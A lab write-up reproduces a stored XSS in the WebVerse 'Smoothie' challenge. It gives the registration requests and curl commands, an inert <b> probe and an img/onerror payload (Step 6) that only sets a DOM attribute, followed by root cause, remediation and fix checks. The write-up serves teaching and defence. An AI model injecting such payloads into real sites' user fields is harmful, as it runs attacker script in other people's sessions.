Quick note: Smoothie was reproduced on 10 September 2026 with Caido and Chromium. The temporary hostname remains visible because it keeps the screenshots easy to follow. Passwords, session cookies, and the challenge flag are redacted. A new lab instance will have a different hostname, so replace <LAB_HOST> and <INSTANCE_ID> in the examples before using them.

Executive Summary

Smoothie lets a new user choose a username during registration. The application stores that value and later places it in two locations on /chat.php.

The page header treated the username as text. The first bot message treated the same value as HTML. An inert <b> marker made that difference easy to see before any JavaScript was introduced.

The final test used a small img/onerror payload that only set a local DOM attribute. Registration alone left /__status.php at solved:false. After Chromium opened /chat.php, the console returned the expected marker and the same status endpoint changed to solved:true.

Confirmed finding: Smoothie stores a user-controlled username and inserts it as raw HTML inside the first bot message. This allows stored XSS when the authenticated chat page is rendered.

1. Report Profile

FieldVerified value
PlatformWebVerse
LabSmoothie
DifficultyMedium
Reproduction date10 September 2026
Account requirementOrdinary self-created lab account
Storage pointPOST /register.php, parameter username
Render pointFirst server-generated bot message on GET /chat.php
Safe comparisonThe same username is HTML-escaped in the page header
Runtime proofdocument.body.dataset.mmp returned 6b0a9756
Status checkGET /__status.php changed from solved:false to solved:true
Primary weaknessCWE-79: Improper Neutralization of Input During Web Page Generation
Supporting weaknessCWE-116: Improper Encoding or Escaping of Output
EvidenceBrowser, Caido, Chromium DevTools, and WebVerse solved state
Caido reproductionPassed
Terminal reproductionNot performed for this case

Verified Attack Chain

Open a fresh Smoothie instance
  > map the registration and chat routes
Create a normal account
  > username appears in the first bot message
Register an inert HTML username
  > header escapes it
  > first bot message renders it as markup
Create a new account in Caido Replay
  > stored img/onerror DOM-marker payload
Check /__status.php before opening /chat.php
  > solved:false and flag:null
Place the new sm_sid in Chromium
  > block automatic /__status.php polling
Open /chat.php
  > event handler runs in the Smoothie origin
Read document.body.dataset.mmp
  > 6b0a9756
Check /__status.php once more
  > solved:true and WEBVERSE{REDACTED}
WebVerse challenge solved
  > stop

2. Scope and Evidence Limits

The reproduction stayed inside one fresh Smoothie lab instance. It stopped after the objective was confirmed.

  • The normal account, inert HTML account, and XSS account were all controlled test accounts.
  • The XSS payload changed only document.body.dataset.mmp. It did not read cookies, send data elsewhere, or perform a state-changing application action.
  • The status endpoint was checked before and after the browser render with the same XSS-account session.
  • Automatic status polling was blocked in Chromium during the runtime check. This kept the console proof separate from the final Caido status request.
  • The first status attempt still contained a copied registration body. Its response was recorded, but the request was repeated cleanly before it was used as evidence.
  • The proof confirms JavaScript execution in the user’s own authenticated session. A second user, staff view, or administrator view was not tested.
  • No standalone Terminal reproduction was performed. The curl snippets below only show the equivalent HTTP shape for readers who prefer the CLI.
  • The visible host is temporary and may already be expired. Readers must use their own current instance.

The root cause matches MITRE CWE-79. MITRE CWE-116 supports the specific output-encoding mistake seen between the two username locations.

3. Evidence-Led Chronological Reproduction

The order matters in this case. Opening the XSS account’s chat page too early would execute the stored event handler before the negative status check.

  1. Open the fresh application and map the registration route.
  2. Create a normal account and confirm where the username appears.
  3. Use an inert HTML username to compare the header and bot-message sinks.
  4. Create the XSS account through Caido Replay without following the redirect.
  5. Check that the new account is still unsolved.
  6. Move that account’s sm_sid into Chromium.
  7. Block automatic /__status.php polling.
  8. Open /chat.php and read the local DOM marker in the console.
  9. Return to Caido, check /__status.php once, and stop after the solved response.

4. Caido/Burp Reproduction

Step 1: Open the Fresh Instance

The first browser load confirmed the application and current temporary host.

GET / HTTP/1.1
Host: <LAB_HOST>

Equivalent command:

curl -i -sS 'https://<LAB_HOST>/'

Fresh Smoothie homepage in Chromium

Figure 1: Fresh application. The public page exposes the menu, chat, login, and registration links.

Caido request for the Smoothie root page

Figure 2: Root request. The request is tied to the fresh 6b0a9756 instance.

Caido response for the Smoothie root page

Figure 3: Root response. The application returns 200 OK and the normal Smoothie HTML. The response also uses Content-Security-Policy-Report-Only, which reports policy violations but does not block this inline handler.

Step 2: Map the Registration Form

The Join link opened /register.php with username and password fields.

GET /register.php HTTP/1.1
Host: <LAB_HOST>

Equivalent command:

curl -i -sS 'https://<LAB_HOST>/register.php'

Smoothie registration form in Chromium

Figure 4: Registration form. The username is a normal account field, not a chat message.

Caido GET request for the registration page

Figure 5: Registration request. Existing cookie values are removed, while the method, route, and host remain visible.

Caido response containing the registration page

Figure 6: Registration response. The server returns the expected form with 200 OK.

Step 3: Create a Normal Account

The first account used the plain username Mdk22Lab. This recorded the normal registration and chat behavior before any HTML was added.

POST /register.php HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded

username=Mdk22Lab&password=<LAB_PASSWORD>

Equivalent command:

curl -i -sS -c smoothie-baseline.cookies -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'username=Mdk22Lab' \
  --data-urlencode 'password=<LAB_PASSWORD>' \
  'https://<LAB_HOST>/register.php'

Caido registration request for the normal account

Figure 7: Normal account request. The password and reusable cookie are removed. The username and request body structure stay visible.

Caido 302 response after normal registration

Figure 8: Registration result. The application accepts the account and redirects to /chat.php.

Normal Smoothie chat page with Mdk22Lab username

Figure 9: Browser baseline. Mdk22Lab appears in both the header and the first bot message.

Step 4: Confirm the First Bot Message in Raw HTML

Caido captured the authenticated page request and both username locations in the response.

GET /chat.php HTTP/1.1
Host: <LAB_HOST>
Cookie: sm_sid=<REDACTED>

Equivalent command:

curl -i -sS -b smoothie-baseline.cookies \
  'https://<LAB_HOST>/chat.php'

Authenticated Caido request for the chat page

Figure 10: Authenticated chat request. The sm_sid value is removed, but the request context remains intact.

Caido response showing Mdk22Lab in the page header

Figure 11: Header baseline. The normal username is present in the account header.

Caido response showing Mdk22Lab in the first bot message

Figure 12: First bot message. The server-generated HTML contains Hello Mdk22Lab inside .bubble.bot.

Step 5: Compare Both Username Sinks with Inert HTML

The next account used a harmless <b> element. This step checks parser behavior without JavaScript.

Exact value used in the reproduced instance:

<b id=mmp-6b0a9756>CONTROL</b>

Reusable form for a new instance:

<b id=mmp-<INSTANCE_ID>>CONTROL</b>

URL-encoded value used in the request:

%3Cb+id%3Dmmp-6b0a9756%3ECONTROL%3C%2Fb%3E
POST /register.php HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded

username=%3Cb+id%3Dmmp-6b0a9756%3ECONTROL%3C%2Fb%3E&password=<LAB_PASSWORD>

Equivalent command:

INSTANCE_ID='<FIRST_8_HOST_CHARACTERS>'

curl -i -sS -c smoothie-control.cookies -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "username=<b id=mmp-${INSTANCE_ID}>CONTROL</b>" \
  --data-urlencode 'password=<LAB_PASSWORD>' \
  'https://<LAB_HOST>/register.php'

Registration form containing the inert HTML username

Figure 13: Inert marker. The username contains markup but no script or event handler.

Caido request containing the encoded inert username

Figure 14: Encoded registration request. The browser form-encodes the <b> element before sending it.

Caido 302 response after the inert account registration

Figure 15: Inert account accepted. The application redirects to /chat.php.

Caido request for the inert account chat page

Figure 16: Inert account render request. The new session is removed from the image.

The response handled the same stored value in two different ways:

<!-- Header: rendered as text -->
Hi, &lt;b id=mmp-6b0a9756&gt;CONTROL&lt;/b&gt;

<!-- First bot message: rendered as markup -->
Hello <b id=mmp-6b0a9756>CONTROL</b>, welcome to Smooth Smoothies...

Caido response showing the escaped username in the header

Figure 17: Safe comparison. The header escapes the angle brackets, so the tag is displayed as text.

Caido response showing the raw b element in the bot greeting

Figure 18: Raw HTML sink. The first bot message contains a real <b> element.

Chromium showing escaped text in the header and bold CONTROL in the bot message

Figure 19: Browser comparison. The header prints the tag, while the bot message renders CONTROL in bold. This isolates the vulnerable output location before the XSS test.

Step 6: Store the DOM-Marker Payload Without Opening Chat

The XSS account was created from Caido Replay. The redirect was not followed because /chat.php would render the username immediately.

Exact payload used:

<img src=x onerror="document.body.dataset.mmp='6b0a9756'">

Reusable form:

<img src=x onerror="document.body.dataset.mmp='<INSTANCE_ID>'">

This payload makes the image load fail and runs the onerror handler. The only effect is a local DOM attribute:

document.body.dataset.mmp = '6b0a9756'

URL-encoded value used in Caido:

%3Cimg+src%3Dx+onerror%3D%22document.body.dataset.mmp%3D%276b0a9756%27%22%3E
POST /register.php HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded

username=%3Cimg+src%3Dx+onerror%3D%22document.body.dataset.mmp%3D%276b0a9756%27%22%3E&password=<LAB_PASSWORD>

Equivalent command:

INSTANCE_ID='<FIRST_8_HOST_CHARACTERS>'

curl -i -sS -c smoothie-xss.cookies -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "username=<img src=x onerror=\"document.body.dataset.mmp='${INSTANCE_ID}'\">" \
  --data-urlencode 'password=<LAB_PASSWORD>' \
  'https://<LAB_HOST>/register.php'

Caido Replay request containing the stored XSS DOM-marker payload

Figure 20: XSS account request. The full username payload remains visible. Only the password and reusable cookie are removed.

Caido 302 response issuing the XSS account session

Figure 21: XSS account created. The server returns 302, points to /chat.php, and issues a new sm_sid. The cookie value is redacted, but its attributes remain visible.

Do not follow the redirect yet. The next step needs the unsolved state before the username is rendered.

Step 7: Record the Pre-Browser Negative Control

The first attempt cloned the registration request and changed its method and path. It returned the expected JSON, but the old form body and its Content-Length and Content-Type headers were still attached.

First status request that still contains the copied registration body

Figure 22: Rejected capture. The endpoint returned a useful result, but the request was not clean enough to keep as the final control.

False status response from the first request

Figure 23: First unsolved response. The result is solved:false, but the request-shape problem is fixed before this claim is locked.

The body and both body-related headers were removed. The clean request used the new sm_sid from Figure 21:

GET /__status.php HTTP/1.1
Host: <LAB_HOST>
Cookie: sm_sid=<XSS_ACCOUNT_SESSION>
Accept: application/json
Connection: close

Equivalent command:

curl -i -sS -b smoothie-xss.cookies \
  -H 'Accept: application/json' \
  'https://<LAB_HOST>/__status.php'

Clean Caido status request before opening the chat page

Figure 24: Clean pre-browser request. No copied registration body remains.

Caido response showing solved false and flag null

Figure 25: Negative control. The XSS account exists, but the page has not rendered the payload. The server returns solved:false and flag:null.

Step 8: Run the Payload in Chromium

The browser needed the same session that Caido received in Figure 21. Before opening /chat.php, Chromium was prepared in two parts.

First, block the page’s automatic status polling. The command palette search did not expose the older Network request blocking command in this Chromium version.

Chromium command palette showing no network request blocking command

Figure 26: Version difference. The old command name is not available, so the setting is opened from the DevTools menu.

Open:

DevTools menu
  > More tools
  > Request conditions

Chromium More tools menu with Request conditions

Figure 27: Current DevTools location. Request conditions is the available panel in this browser.

The wildcard entered during the first attempt was rejected by the URL Pattern parser:

*__status.php*

Invalid wildcard inside Chromium Request conditions

Figure 28: Invalid pattern. This exact Chromium build requires a valid URL Pattern.

Use the full current-instance URL instead:

https://<LAB_HOST>/__status.php

Set the action to Block and keep Enable blocking and throttling selected.

Active Chromium rule blocking the exact status endpoint

Figure 29: Status polling blocked. The full URL is accepted and the rule is active.

Next, open:

DevTools
  > Application
  > Storage
  > Cookies
  > https://<LAB_HOST>

Replace only the sm_sid value with the session from Figure 21. The lower Cookie Value field is only the detail view of the selected row, not a second input.

Chromium Application panel with the XSS session and status blocking enabled

Figure 30: Browser session prepared. The sm_sid and Cloudflare cookie values are removed. The domain, path, HttpOnly, SameSite, and blocking rule remain visible.

Now open:

https://<LAB_HOST>/chat.php

In the DevTools console, run:

document.body.dataset.mmp

Observed result:

'6b0a9756'

Chromium console returning the stored XSS DOM marker

Figure 31: Runtime proof. The page’s DOM contains the exact value assigned by the stored onerror handler.

Smoothie chat page after rendering the stored img onerror username

Figure 32: Vulnerable page render. The broken image appears inside the first bot message, while the header displays the payload text. Together with Figure 31, this confirms browser-side JavaScript execution in the Smoothie origin.

Step 9: Check the Final Status Once

Return to the clean Caido Replay request from Step 7. Keep the same XSS-account session and send it once.

GET /__status.php HTTP/1.1
Host: <LAB_HOST>
Cookie: sm_sid=<XSS_ACCOUNT_SESSION>
Accept: application/json
Connection: close

Equivalent command:

curl -i -sS -b smoothie-xss.cookies \
  -H 'Accept: application/json' \
  'https://<LAB_HOST>/__status.php'

Final Caido status request using the XSS account session

Figure 33: Final status request. This is the same route and session used for the clean negative control.

{
  "solved": true,
  "flag": "WEBVERSE{REDACTED}"
}

Final Caido response with solved true and the challenge flag redacted

Figure 34: Objective response. The server now returns solved:true. The literal flag is removed from the public image.

WebVerse Smoothie challenge solved screen

Figure 35: Platform confirmation. WebVerse records Smoothie as solved and the submitted flag as accepted.

5. Controls and Results

CheckObserved resultWhy it matters
Fresh root requestGET / returned 200Ties the work to the current Smoothie instance.
Normal usernameMdk22Lab appeared in both locationsRecords the expected account and chat behavior.
Inert <b> markerEscaped in header, parsed in bot messageFinds the exact unsafe output location without JavaScript.
XSS registration302 to /chat.php and new sm_sidConfirms the payload was stored without following the render path.
First status attemptfalse/null, but stale request body remainedResult kept as troubleshooting context, not final proof.
Clean pre-browser statussolved:false, flag:nullShows that storage alone did not solve the lab.
Blocked status pollingExact /__status.php rule activeKeeps automatic polling out of the runtime check.
DOM markerdocument.body.dataset.mmp returned 6b0a9756Confirms the event handler executed in Chromium.
Post-browser statussolved:true and redacted flagConnects browser execution to the authoritative lab result.
Platform screenChallenge solved, flag acceptedConfirms the completed lab outside the local DOM check.

6. Root Cause and Classification

The stored username crosses the same page boundary twice, but only one location encodes it correctly.

<!-- Safe output -->
Hi, &lt;b id=mmp-6b0a9756&gt;CONTROL&lt;/b&gt;

<!-- Unsafe output -->
<div class="bubble bot">
  Hello <b id=mmp-6b0a9756>CONTROL</b>, welcome to Smooth Smoothies...
</div>

The header proves that the application can display the username as text. The first bot message inserts the stored value into HTML without neutralising the tag boundary. The browser therefore creates an img element and runs its onerror handler.

This is CWE-79 and fits the stored XSS pattern. CWE-116 describes the supporting output-encoding failure.

Content-Security-Policy-Report-Only does not stop execution. It can report the event, but the browser does not enforce the listed policy. HttpOnly also does not repair the sink. It prevents direct JavaScript access to the cookie value, but JavaScript still runs in the page origin.

7. Confirmed Impact

The reproduced impact is limited and clear:

  • a registered user can store HTML in the username field;
  • the first bot message turns that value into DOM markup;
  • an inline event handler executes JavaScript in the Smoothie origin;
  • the harmless proof changes a local DOM attribute;
  • the lab state changes from unsolved to solved after the browser render.

The work does not prove that another user, moderator, or administrator views the stored username. It also does not prove access to another account or data. Those would need a separate viewer path and a separate controlled test.

8. Remediation

Encode the Username at Every HTML Output

The username should be encoded for the exact output context every time it is rendered. A safe header does not make the bot message safe.

For a PHP HTML template, a suitable pattern is:

<?= htmlspecialchars($username, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?>

Avoid raw-output helpers for identity fields such as username, display name, email, or profile text.

Build the Greeting as Text

If the greeting is created in JavaScript, keep the user-controlled part in a text node:

const bubble = document.createElement('div');
bubble.className = 'bubble bot';
bubble.textContent = `Hello ${username}, welcome to Smooth Smoothies, what can I help you with?`;

Enforce CSP as a Backup Control

Move from report-only to an enforced Content Security Policy after compatibility testing. A nonce-based policy can block inline event handlers, but it should be a backup control. Correct output encoding still fixes the actual bug.

Keep HttpOnly and SameSite, and add or verify Secure for HTTPS delivery. Cookie flags limit some follow-up techniques, but they do not prevent same-origin JavaScript execution.

9. How to Verify the Fix

Repeat the same order after the code change:

  1. Register a normal account and confirm the greeting still works.
  2. Register the inert <b> username.
  3. Confirm both the header and first bot message display the literal tag as text.
  4. Register the img/onerror username through Caido without following the redirect.
  5. Confirm /__status.php still returns solved:false.
  6. Open /chat.php with that account in Chromium.
  7. Confirm document.body.dataset.mmp is undefined and no broken attacker-created image appears.
  8. Confirm /__status.php remains unsolved.
  9. Run the same checks for every other page that displays the username.

Expected safe HTML:

Hello &lt;img src=x onerror=&quot;document.body.dataset.mmp='test'&quot;&gt;,
welcome to Smooth Smoothies...

10. Conclusion

The normal account showed that Smoothie places the stored username in the first bot message. The inert HTML marker then exposed the real problem: the header escaped the value, but the bot message parsed it as markup.

Caido Replay stored a harmless img/onerror username without opening the chat page. The clean status request was still unsolved. Chromium then rendered /chat.php, and the console returned the exact DOM marker from the event handler. One final Caido request changed the status to solved, and WebVerse accepted the flag.

That sequence confirms stored XSS in the first bot greeting and keeps the claim limited to what was actually reproduced.

LAB FLAG: WEBVERSE{REDACTED}
STATUS: SOLVED / VERIFIED